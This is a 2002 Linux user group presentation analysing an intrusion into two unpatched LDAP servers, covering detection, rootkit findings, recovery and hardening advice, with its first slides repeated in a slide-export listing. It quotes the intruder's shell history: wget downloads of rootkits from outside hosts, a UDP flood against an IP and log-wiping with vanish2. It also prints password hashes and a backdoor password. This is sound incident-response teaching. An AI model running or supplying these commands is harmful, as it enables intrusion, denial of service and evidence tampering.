Compromised Linux Servers: An Analysis By: Anand Vaidya, vaidya.anand@gmail.com Presented At: LUGS Meeting on 13-Sep-2002
Agenda Detect and confirm intrusion, estimate damage Emergency backup of valid data/files Analysis details Rootkits and Massrooters/Autorooters Best Practices (in theory) and Worst Practices (reality)
Network Layout
Config  Details 2x LDAP servers in Master-Slave config Stores encoded 'authentication codes', Also logs firewall logs RedHat Linux 7.1, Not  a single update after installation about a year ago! ftp, ldap, ssh, telnet, smtp, ports open to the 'Net Disk layout:  /=500M, /usr=2000M,  /home=5000M,  /var=100M, Swap=350M
First Encounter and Suspicion I was asked to check the server utilization (CPU/Mem/Network) and recommend HW upgrades, if needed. Logged in with OpenSSH to 1.2.3.2 After keying in the password, Previous Login from: 64. x.x.x . Whois shows IP belongs to Italian ISP. Rings a bell: Why should someone login as root from Italy for a server in SG? So instead of checking system utilization, I go off on another task: To figure out who logged in before me.
[root@ldap2 /root]# ps -ef [root@ldap2 /root]#  [root@ldap2 /root]# netstat -vant [root@ldap2 /root]# [root@ldap2 /root]# last root  pts/1  a4.net8.pa Thu Apr 20 11:26  still logged in root  pts/1  x.y.z.11  Thu Apr 20 11:21 - 11:25  (00:04) hacker  pts/1  adsl-petach-tiqw Mon Apr 10 06:58 - 07:30  (00:32) hacker  pts/2  adsl-petach-tiqw Wed Apr  5 20:01 - 22:02  (02:01) hacker  ftpd12348  adsl-petach-tiqw Wed Apr  5 19:59 - 20:03  (00:04) hacker  pts/1  adsl-petach-tiqw Wed Apr  5 19:58 - 22:02  (02:04) hacker  pts/1  adsl-petach-tiqw Tue Apr  4 00:47 - 01:38  (00:51) wtmp begins Tue Apr  4 00:47:04 2002
[root@ldap2 /root]# lastlog Username  Port  From  Latest root  pts/1  adsl1.net8.pa Thu Apr 20 11:26:10 +0800 2002 bin  **Never logged in** daemon  **Never logged in** adm  **Never logged in** lp  **Never logged in** sync  **Never logged in** shutdown  **Never logged in** halt  **Never logged in** mail  **Never logged in** news  **Never logged in** uucp  **Never logged in** operator  **Never logged in** games  **Never logged in** gopher  **Never logged in** Note:The adsl... is me
ftp  ftp  66.46.42.2   Wed Feb 10 04:11:08 +0800 2002 nobody  **Never logged in** nscd  **Never logged in** mailnull  **Never logged in** ident  **Never logged in** rpc  **Never logged in** rpcuser  **Never logged in** xfs  **Never logged in** admin  **Never logged in** kid  **Never logged in** ra  pts/1  adsl1.net3.pa Thu Apr 20 11:26:10 +0800 2002 hacker  pts/1  adsl-petach-tiqw Mon Apr 10 06:58:25 +0800 2002 NOTE: 66.46.42.2 : IP is from Canada, AT&T dialup/adsl  Account “ra” is a UID=GID=0, password=”ra”, allowed ftp access the last-but-one line is me testing ra-ftp acct
[root@ldap2 /root]# /sbin/ifconfig eth0  Link encap:Ethernet  HWaddr 00:50:8B:D3:AB:1D inet addr:1.2.3.2  Bcast:1.2.3.191  Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 RX packets:105405624 errors:0 dropped:0 overruns:0 frame:0 TX packets:13046587 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0x3000 lo  Link encap:Local Loopback inet addr:127.0.0.1  Mask:255.0.0.0 UP LOOPBACK RUNNING  MTU:16436  Metric:1 RX packets:237 errors:0 dropped:0 overruns:0 frame:0 TX packets:237 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@ldap2 /root]# Note that Linux kernel does not show “Promiscuous” there are 2 problems: kernel, no promisc proc running
[root@ldap2 /root]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: nscd:x:28:28:NSCD Daemon:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null
ident:x:98:98:pident user:/:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false admin:x:500:4::/home/admin:/bin/bash kid:x:2764:2764::/:/bin/bash ra:x:0:0::/:/bin/bash hacker:x:2765:2765::/var/hacker:/bin/bash more accounts follow, deleted by anand to shorten the presentation And an extract from /etc/groups: kid:$1$WlLTPQXq$tzU2usdhCMG3KQKAm4JKI0:11776:0:99999:7:::134538460 ra::10865:0:99999:7:::134538460 hacker:$1$L8/uol5e$FqL63oc0Z.s8K0WQkmdvK1:11786:0:99999:7::: [root@ldap2 log]#
[anand@anand anand]$ ftp 1.2.3.1 Connected  to1.2.3.1 . 220 ldap1 FTP server (Version wu-2.6.2(2) Sat Dec 22 15:48:35 EET 2001) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type [anand@anand anand]$ ftp 1.2.3.2 Connected to 1.2.3.2. 220 ldap2 FTP server (Version wu-2.6.1-16) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (1.2.3.2:anand): ra 331 Password required for ra. Password: 230 User ra logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 227 Entering Passive Mode (1,2,3,2,138,61) 150 Opening ASCII mode data connection for directory listing. total 240 drwxr-xr-x  2 root  root  2048 Jun 10 07:02 bin drwxr-xr-x  3 root  root  1024 Sep 13  2001 boot ....
Apr 16 04:02:01 ldap2 syslogd 1.4-0: restart. Apr 16 04:30:41 ldap2 ftpd[29786]: lost connection to 211.20.12.238 [211.20.12.238] Apr 16 04:30:41 ldap2 ftpd[29786]: FTP session closed Apr 16 05:19:55 ldap2 ftpd[29803]: FTP session closed Apr 16 20:47:05 ldap2 ftpd[30111]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM ANancy-104-1-4-225.abo.wanadoo.fr [80.14.221.225], anonymous Apr 16 20:47:06 ldap2 ftpd[30111]: FTP session closed Apr 17 01:11:18 ldap2 ftpd[30205]: FTP session closed Apr 17 01:14:03 ldap2 ftpd[30206]: FTP session closed Apr 17 01:20:22 ldap2 ftpd[30209]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM rrcs-nys-24-97-176-140.bi z.rr.com [24.97.176.140], ftp Apr 17 01:20:22 ldap2 ftpd[30209]: FTP session closed Apr 18 01:58:58 ldap2 ftpd[30836]: FTP session closed Apr 18 02:01:25 ldap2 ftpd[30846]: FTP session closed Apr 18 02:27:18 ldap2 ftpd[30851]: FTP session closed Apr 18 02:29:54 ldap2 ftpd[30852]: FTP session closed Apr 18 10:45:06 ldap2 ftpd[31157]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM pD9E18307.dip.t-dialin.ne t [217.225.131.7], anonymous
[root@ldap2 /root]# top n 1 b PID USER  PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM  TIME COMMAND 1 root  8  0  124  72  52 S  0.0  0.0  0:04 init 2 root  9  0  0  0  0 SW  0.0  0.0  0:00 keventd 3 root  9  0  0  0  0 SW  0.0  0.0  0:00 kswapd 4 root  9  0  0  0  0 SW  0.0  0.0  0:00 kreclaimd 5 root  9  0  0  0  0 SW  0.0  0.0  0:00 bdflush 6 root  9  0  0  0  0 SW  0.0  0.0  0:00 kupdated 7 root  -1 -20  0  0  0 SW<  0.0  0.0  0:00 mdrecoveryd 524 root  9  0  352  332  252 S  0.0  0.2  0:28 syslogd 529 root  9  0  992  656  344 S  0.0  0.5  0:00 klogd 679 root  9  0  132  44  28 S  0.0  0.0  0:00 automount 691 daemon  9  0  108  44  44 S  0.0  0.0  0:00 atd 706 root  9  0  660  592  488 S  0.0  0.4  0:20 sshd 726 root  9  0  668  600  456 S  0.0  0.4  0:00 xinetd 767 root  8  0  1296  996  776 S  0.0  0.7  0:00 sendmail 780 root  9  0  108  52  36 S  0.0  0.0  0:00 gpm 792 root  9  0  2840  864  672 S  0.0  0.6  0:00 nessusd 804 root  9  0  588  580  536 S  0.0  0.4  0:00 crond 840 xfs  9  0  3664 2496  956 S  0.0  1.9  0:00 xfs 866 root  9  0  5120 4976  1144 S  0.0  3.9  0:00 slapd
872 root  9  0  64  4  4 S  0.0  0.0  0:00 mingetty 873 root  9  0  64  4  4 S  0.0  0.0  0:00 mingetty 874 root  9  0  2848 2632  2444 S  0.0  2.0  0:00 kdm 879 root  9  0  5120 4976  1144 S  0.0  3.9  0:00 slapd 880 root  9  0  5120 4976  1144 S  0.0  3.9  0:23 slapd 884 root  9  0 12540  12M  1772 S  0.0  9.8  0:00 X 888 root  8  0  4720 4188  3808 S  0.0  3.3  0:00 kdm 937 root  9  0  1132  936  732 S  0.0  0.7  0:00 slapd 942 root  9  0  5120 4976  1144 S  0.0  3.9  2:17 slapd 944 root  9  0  5120 4976  1144 S  0.0  3.9  2:16 slapd 8214 hacker  9  0  504  504  424 S  0.0  0.3  0:00 bnc 20750 root  9  0  660  660  548 S  0.0  0.5  0:00 nfsd 32407 root  9  0  612  608  540 S  0.0  0.4  0:00 crond 32408 root  8  0  908  908  768 S  0.0  0.7  0:00 run-parts 32410 root  9  0  552  552  464 S  0.0  0.4  0:00 awk 32411 root  9  0  880  880  756 S  0.0  0.6  0:00 sa1 32413 root  9  0  512  512  448 S  0.0  0.4  0:00 sadc 32485 root  10  0  1848 1828  1480 R  0.0  1.4  0:00 sshd 32486 root  11  0  1352 1352  1024 S  0.0  1.0  0:00 bash 32555 root  12  0  1024 1024  828 R  0.0  0.8  0:00 top [root@ldap2 /root]#
[root@ldap1 /tmp]# ls -la /tmp total 9 drwxrwxrwt  9 root  root  1024 Jun 24 10:48 . drwxr-xr-x  3 501  ftp  1024 Jun 17 03:41 ., [root@ldap2 mail]# cat /var/hacker/ .bash_history  .bash_profile  .emacs  .screenrc  Mail  m.tgz .bash_logout  .bashrc  .kde  Desktop  a [root@ldap2 mail]# cat /var/hacker/ [root@ldap2 myrk]# cat ./ .1addr  linsniffer  ps  ssh_random_seed  tcp.log .1file  lpd  pwd  sshd  utils .1proc  ls  sense  sshd_config  wipe hideps  netstat  ssh_host_key  string install  new-host  ssh_host_key.pub  sysinfo Notes: The directory &quot;.,&quot; (dot-comma) created by the intruder. Linsniffer stores the log in a file called tcp.log I had to use “cat <tab>” since “ls” was trojaned, and would not list anything at all!
bnc  8214 hacker  cwd  DIR  72,7  0  10082 /var/hacker/bnc2.6.4 (deleted) bnc  8214 hacker  rtd  DIR  72,8  1024  2 / bnc  8214 hacker  txt  REG  72,7  25784  10111 /var/hacker/bnc2.6.4/bnc (deleted) bnc  8214 hacker  mem  REG  72,8  471781  44354 /lib/ld-2.2.2.so bnc  8214 hacker  mem  REG  72,8  445289  44372 /lib/libnsl-2.2.2.so bnc  8214 hacker  mem  REG  72,8  274054  44401 /lib/libresolv-2.2.2.so bnc  8214 hacker  mem  REG  72,8  95362  44365 /lib/libcrypt-2.2.2.so bnc  8214 hacker  mem  REG  72,8 5634864  4035 /lib/i686/libc-2.2.2.so bnc  8214 hacker  0u  CHR  136,0  2 /dev/pts/0 bnc  8214 hacker  1u  CHR  136,0  2 /dev/pts/0 bnc  8214 hacker  2u  CHR  136,0  2 /dev/pts/0 bnc  8214 hacker  3u  IPv4  272344  TCP *:12300 (LISTEN Note: Look at this block copied from LSOF: He has installed/started IRC bouncer (bnc) and deleted the files. Other such processes were: sysd, running in place of sshd, a fake nfsd  ( what was that meant for? )
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address  Foreign Address  State tcp  0  0 0.0.0.0:389  0.0.0.0:*  LISTEN tcp  0  0 0.0.0.0:22  0.0.0.0:*  LISTEN tcp  0  0 0.0.0.0:6010  0.0.0.0:*  LISTEN tcp  1  0 1.2.3.1:21  62.211.226.191:51221  CLOSE_WAIT tcp  0  48 1.2.3.1:22  mylaptop:40657  ESTABLISHED tcp  0  0 1.2.3.1:389  another_legitserver:4746  ESTABLISHED [root@ldap1 /root]# Note: With my version of netstat The FTP connection just hangs, since firewall is blocking outgoing FTP, See the IP 62.x.x.x in Foreign Address column?
[root@ldap2 myrk]#tail /etc -n 10 /etc/rc.d/rc.sysinit dmesg > /var/log/dmesg sleep 1 kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1 } & if [ &quot;$PROMPT&quot; != &quot;no&quot; ]; then /sbin/getkey i && touch /var/run/confirm fi wait nfsd -q -p 54789 This is not a real NFS daemon! It listens for commands of some sort, though I could not figure out what exactly it was meant for
[root@ldap2 myrk]# cat /var/hacker/.bash_history~ wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 8245 wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz ls rm -r m2.tar.gz perl udp.pl 62.0.115.207 0 0 rm -r a.c ls gcc -o p packit.c ls ./p 62.0.115.207 0 ./p 62.0.115.207 0 ls bash_history was fine, shows only legit traffic.  I found a bash_history~ (created by vi or did he copy?) that shows intruder activity!
rm -r packit.c rm -r udp.pl rm -r p tar xvfz bnc2.6.4.tar.gz;cd bnc2.6.4;./configure;make;./bncsetup ./bncsetup ./bnc ./bnc ./bnc ./bnc killall -9 bnc ./bnc pico bnc.conf cd .. ls rm -r bnc2.6.4 rm -r bnc2.6.4.tar.gz gcc -o a a.c;rm -r a.c;./a ls ./a ./a 1.2.3
ls rm -r a gcc -o a a.c;rm -r a.c;./a wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w;ls wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w wget  http://home.dal.net/oc248/m.tgz Note: Why download DirectX from MS? What was he trying to do?  There is nothing at home.dal.net now.
wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 12355 exec ./a 12373 cd myrk; pico install; cd myrk ./install ./a wget http://home.dal.net/oc248/m.tgz ls tar xvfz m.tgz ./a exec ./a 20689 cd myrk pico install cd .. ./a mutt;exit [root@ldap2 myrk]# Note: The file  black.tar.gz  is still available at angelfire. Go get it if you want to analyse further.
269  ipconfig 270  ifconfig 271  exirt 272  exit 273  cd costy 274  ls 275  id 276  cd logdel/ 277  export blah=freekevin 278  ./vanish2 sysd ti221110a080-0520.bb.online.no 80.213.2.8 279  cd /home/ 280  ls 281  cd TTX/ 282  ls;  cd .. 284  cd admin/ 285  ls 286  cd Desktop/
304  cd root/ 305  ls 306  last 307  cd /tmp/., 308  ls 309  rm -rf chmrk-0.3.tgz 310  cd ., 311  ls 312  cd /etc/ 313  cat passwd 314  who 314  who 315  pico passwd 316  export TERM=vt100 317  pico passwd 318  pico shadow 319  cd /var/tmp 320  mkdir ., 321  cd ., 322  ls 323  wget www.geocities.com/freeaxcess/chmrk-0.9.tgz
324  wget www.geocities.com/freeaxcess/chmrk-0.9.tgz 325  ping www.geocities.com 326  cd /tmp/., 327  la;  ls ; cd ., ;  ls 331  alias ls=&quot;ls --color=always&quot; 332  ls -la 333  cd logdel 334  ls 335  ./vanish2 336  expotr blah=768 337  export blah=768 338  ls 339  ./vanish2 340  export blah768=freekevin 341  ./vanish2 342  ./vanish2 sysd crionized.net 217.8.139.50 VANISH2 is used to erase any traces left behind (syslogs, utmp, wtmp etc)
 
Root Kit Details Two kits used: “myrk/lrk” and “black”: These have a complete set of tools to hide netstat, ps, etc to hide the intruder's activity Sysd seems legit, but is a sshd replacement that silently accepts logins “Black” kit is actually a massrooter: kind-of uber-tool. surprisingly google won't show much on this (atleast turned up 0 results when I did a search then). It has exploits for lpd, rpc-statd, ftpd, bind, passwd bruteforcer etc.  Includes ssh-scan, fingerprinting, portscanner, DoS tool and more!
Massrooter, autorooters New dangerous tool that scans thousands of IP addresses, looking for open ports. Once an open port is found,  attempts to get the version if reqd (say wuftpd, proftpd-pre etc), and runs the exploit. Installs the backdoor and emails the intruder! If managed properly, can yield hundreds of rooted servers in a day The code does not seem to patch the vuln.s or lock the ports after 0wning the system, subsequent attackers can run exploits!
File Details: [anand@aries massrooter]$ ls 1*  lpd.conf  packet.pl  s*  ssh/  wum.c  ybsd*  YRH* bind/  Makefile  portscan.c  scan*  targets  wus*  YBSD*  YRH.c brute*  p*  pscan.c  scan.conf  targets.txt  wus.c  YBSD.c ftpd/  packet*  r00t*  sec*  wu*  xinetd*  ylpd* lpd/  packet.c  rpc/  src/  wum*  xinetd.c  ylpd.c [anand@aries massrooter]$ Notes:  wum, wus, ftpd/ contain FTP exploits similar comments for lpd bind rpc etc., packet.pl is a DoS tool r00t is a script that runs the attacks against the selected hosts
Risks of Getting Cracked Your reputation is at stake, who will give you business if you have poor reputation?  Information loss, loss of revenue, warez traffic DoS, UCE, other attacks originating from your site Getting blacklisted (RBL,DNSBL, dshield.org) Legal implications (esp in US: HIPAA etc), I am trying to figure out what happens in SG, where the law enforcement is stricter and more efficient...
Summary: What Happened The sequence I reconstructed is as follows: The cracker scans for vulnerable systems. Finds L2 has buggy WU-FTPD, uses a remote exploit to break-in See:  http://www.cert.org/advisories/CA-2001-33.html  (My guess that the globbing related errors were used to gain root access) Creates 2 accounts for himself to login later ( user =  ra , user = hacker). The account had UID=0 (same as root). Sets up the Secure Shell keys Alters system startup file to start listeners for him to login later (nfsd, via /etc/rc.d/rc.sysinit) Downloads rootkits from DALNET IRC servers, compiles, installs. Replaces several system tools (ls, ps, netstat, etc) with his trojaned  versions. Starts up the services necessary for subsequent logins, and deletes all the kits he has downloaded to wipe out the traces
Summary: Recovery After detecting the intrusion, here's how they were recovered: Avoid initiating logins, initiating scp etc from L1, L2. Initiate all traffic from my laptop.  Identify critical data: LDAP database. use ldapsearch from my laptop to collect the LDAP data. Ssh and get the crypt-pw, schema files & other ldap config files. Since ls, sshd etc were trojaned, 'clean version' of tools (lsof, ls, ps,netstat, ifconfig etc) scp'd to remote, start my sshd on port 7022. Kill listener (sysd) on 22, fake nfsd, and other backdoors. Since further forensics (TCT etc) was ruled out, collected enough raw data to analyse further and shutdown both servers Reinstalled both servers with another recent Linux distro, properly configured, tested, reinstalled ldap data (ldapadd) and released to production.
Summary: What damage was done? From what I could trace: The kit was made by someone in  [email_address] .co.il   (most likely used by someother person) The intruder had no specific reason to attack these systems.There was no  'interesting'  data on the servers for the intruder. His skill levels were poor. Though he attempted to wipe out fingerprints, he had actually left a lot! He has used the servers to scan the internal network, and compromise other vulnerable systems on the Net. Used the servers as a store for malware ( rootkits etc), bounce IRC sessions (bnc)
What Are The Lessons? Do not be complacent: Linux can be only secure if you invest time and effort to keep it that way You need not be a juicy target to get attacked, Your server will be used to launch further attacks elsewhere Read bugtraq, your vendors' update release notes. UPDATE, UPDATE, UPDATE! Patch/Update aggressively, especially exposed servers, servers use by many,many people (mail, file etc).  Figure out what services, open ports  are needed, never accept defaults without knowing what the default implies.Firewall all/almost all of them. Use private(RFC1918) nets extensively
Suggestions Be paranoid, but use commonsense Hire a security conscious admin, security is a full time job, cannot be done by part-timers Segregate, minimise access (eg: Office servers - office desktops - production servers - staging nets - security scanning laptops -honeynets. Segregate by functionality: Firewall does only filtering, port forwarding. Webserver runs Apache only and nothing else and so on. Watch bugtraq, underground. Do your own testing
Suggested Actions Ingress and Egress filtering -  a must. Push out your filtering as far out as possible Install absolutely minimal packages: Ready presence of gcc, make, perl etc simplifies intruder's job Give minimal access rights (eg: pop/smtp, samba users do not get shell acess) Consider implementing LIDS, grsecurity patches to restrict root's omnipotent powers
Must Have Tools/Software Linux has just too many! Here's a pick of the best: Servers, network: Tripwire, LIDS, GrSecurity, libsafe, ACL patches Snort+*SQL, ACID Stunnel, OpenSSH, lsof, lslk On the security workstation/laptop: Tcpdump, Nmap, netcat Ethereal, etherape, ntop, dsniff TCT (The Coroner's Toolkit)
Resources Apart from the popular ones, some more useful sites: http://online.securityfocus.com/infocus/1619  (recent article on autorooters) www.cotse.com  (root kits download) www.dshield.org  (log submission and fightback) www.chkrootkit.org  (check for local rk) www.honeynet.org http://www.cert.org/tech_tips/AUSCERT_checklist2.0.html  (Unix Sec. checklist) rr.sans.org  (SANS Reading Room) www.linuxsecurity.com http://www.enteract.com/~Elspitz/pubs.html  (seems to be down ?) Underground – book
Acknowledgements & Copying This material is based on my experience as well as material collected from the web This presentation can be redistributed as follows: No commercial re-distribution: eg, as part of a for-profit CDROM or as part of your sales pitch. Seek my permission first. Must attribute the document creator. Share alike: If you use this document and enhance it or modify, share the modifications or the modified document Which means I apply: Creative Commons License, http://creativecommons.org/licenses/by-nc-sa/3.0/
The End  Thanks for your time. If you have any feedback, corrections or questions please contact me: Anand Vaidya, vaidya.anand@gmail.com This document was created with OpenOffice on Linux. email me if you want the odp file instead of the pdf

Analysis of Compromised Linux Server

  • 1.
    Compromised Linux Servers:An Analysis By: Anand Vaidya, vaidya.anand@gmail.com Presented At: LUGS Meeting on 13-Sep-2002
  • 2.
    Agenda Detect andconfirm intrusion, estimate damage Emergency backup of valid data/files Analysis details Rootkits and Massrooters/Autorooters Best Practices (in theory) and Worst Practices (reality)
  • 3.
  • 4.
    Config Details2x LDAP servers in Master-Slave config Stores encoded 'authentication codes', Also logs firewall logs RedHat Linux 7.1, Not a single update after installation about a year ago! ftp, ldap, ssh, telnet, smtp, ports open to the 'Net Disk layout: /=500M, /usr=2000M, /home=5000M, /var=100M, Swap=350M
  • 5.
    First Encounter andSuspicion I was asked to check the server utilization (CPU/Mem/Network) and recommend HW upgrades, if needed. Logged in with OpenSSH to 1.2.3.2 After keying in the password, Previous Login from: 64. x.x.x . Whois shows IP belongs to Italian ISP. Rings a bell: Why should someone login as root from Italy for a server in SG? So instead of checking system utilization, I go off on another task: To figure out who logged in before me.
  • 6.
    [root@ldap2 /root]# ps-ef [root@ldap2 /root]# [root@ldap2 /root]# netstat -vant [root@ldap2 /root]# [root@ldap2 /root]# last root pts/1 a4.net8.pa Thu Apr 20 11:26 still logged in root pts/1 x.y.z.11 Thu Apr 20 11:21 - 11:25 (00:04) hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58 - 07:30 (00:32) hacker pts/2 adsl-petach-tiqw Wed Apr 5 20:01 - 22:02 (02:01) hacker ftpd12348 adsl-petach-tiqw Wed Apr 5 19:59 - 20:03 (00:04) hacker pts/1 adsl-petach-tiqw Wed Apr 5 19:58 - 22:02 (02:04) hacker pts/1 adsl-petach-tiqw Tue Apr 4 00:47 - 01:38 (00:51) wtmp begins Tue Apr 4 00:47:04 2002
  • 7.
    [root@ldap2 /root]# lastlogUsername Port From Latest root pts/1 adsl1.net8.pa Thu Apr 20 11:26:10 +0800 2002 bin **Never logged in** daemon **Never logged in** adm **Never logged in** lp **Never logged in** sync **Never logged in** shutdown **Never logged in** halt **Never logged in** mail **Never logged in** news **Never logged in** uucp **Never logged in** operator **Never logged in** games **Never logged in** gopher **Never logged in** Note:The adsl... is me
  • 8.
    ftp ftp 66.46.42.2 Wed Feb 10 04:11:08 +0800 2002 nobody **Never logged in** nscd **Never logged in** mailnull **Never logged in** ident **Never logged in** rpc **Never logged in** rpcuser **Never logged in** xfs **Never logged in** admin **Never logged in** kid **Never logged in** ra pts/1 adsl1.net3.pa Thu Apr 20 11:26:10 +0800 2002 hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58:25 +0800 2002 NOTE: 66.46.42.2 : IP is from Canada, AT&T dialup/adsl Account “ra” is a UID=GID=0, password=”ra”, allowed ftp access the last-but-one line is me testing ra-ftp acct
  • 9.
    [root@ldap2 /root]# /sbin/ifconfigeth0 Link encap:Ethernet HWaddr 00:50:8B:D3:AB:1D inet addr:1.2.3.2 Bcast:1.2.3.191 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:105405624 errors:0 dropped:0 overruns:0 frame:0 TX packets:13046587 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0x3000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:237 errors:0 dropped:0 overruns:0 frame:0 TX packets:237 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@ldap2 /root]# Note that Linux kernel does not show “Promiscuous” there are 2 problems: kernel, no promisc proc running
  • 10.
    [root@ldap2 /root]# cat/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: nscd:x:28:28:NSCD Daemon:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null
  • 11.
    ident:x:98:98:pident user:/:/bin/false rpc:x:32:32:PortmapperRPC user:/:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false admin:x:500:4::/home/admin:/bin/bash kid:x:2764:2764::/:/bin/bash ra:x:0:0::/:/bin/bash hacker:x:2765:2765::/var/hacker:/bin/bash more accounts follow, deleted by anand to shorten the presentation And an extract from /etc/groups: kid:$1$WlLTPQXq$tzU2usdhCMG3KQKAm4JKI0:11776:0:99999:7:::134538460 ra::10865:0:99999:7:::134538460 hacker:$1$L8/uol5e$FqL63oc0Z.s8K0WQkmdvK1:11786:0:99999:7::: [root@ldap2 log]#
  • 12.
    [anand@anand anand]$ ftp1.2.3.1 Connected to1.2.3.1 . 220 ldap1 FTP server (Version wu-2.6.2(2) Sat Dec 22 15:48:35 EET 2001) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type [anand@anand anand]$ ftp 1.2.3.2 Connected to 1.2.3.2. 220 ldap2 FTP server (Version wu-2.6.1-16) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (1.2.3.2:anand): ra 331 Password required for ra. Password: 230 User ra logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 227 Entering Passive Mode (1,2,3,2,138,61) 150 Opening ASCII mode data connection for directory listing. total 240 drwxr-xr-x 2 root root 2048 Jun 10 07:02 bin drwxr-xr-x 3 root root 1024 Sep 13 2001 boot ....
  • 13.
    Apr 16 04:02:01ldap2 syslogd 1.4-0: restart. Apr 16 04:30:41 ldap2 ftpd[29786]: lost connection to 211.20.12.238 [211.20.12.238] Apr 16 04:30:41 ldap2 ftpd[29786]: FTP session closed Apr 16 05:19:55 ldap2 ftpd[29803]: FTP session closed Apr 16 20:47:05 ldap2 ftpd[30111]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM ANancy-104-1-4-225.abo.wanadoo.fr [80.14.221.225], anonymous Apr 16 20:47:06 ldap2 ftpd[30111]: FTP session closed Apr 17 01:11:18 ldap2 ftpd[30205]: FTP session closed Apr 17 01:14:03 ldap2 ftpd[30206]: FTP session closed Apr 17 01:20:22 ldap2 ftpd[30209]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM rrcs-nys-24-97-176-140.bi z.rr.com [24.97.176.140], ftp Apr 17 01:20:22 ldap2 ftpd[30209]: FTP session closed Apr 18 01:58:58 ldap2 ftpd[30836]: FTP session closed Apr 18 02:01:25 ldap2 ftpd[30846]: FTP session closed Apr 18 02:27:18 ldap2 ftpd[30851]: FTP session closed Apr 18 02:29:54 ldap2 ftpd[30852]: FTP session closed Apr 18 10:45:06 ldap2 ftpd[31157]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM pD9E18307.dip.t-dialin.ne t [217.225.131.7], anonymous
  • 14.
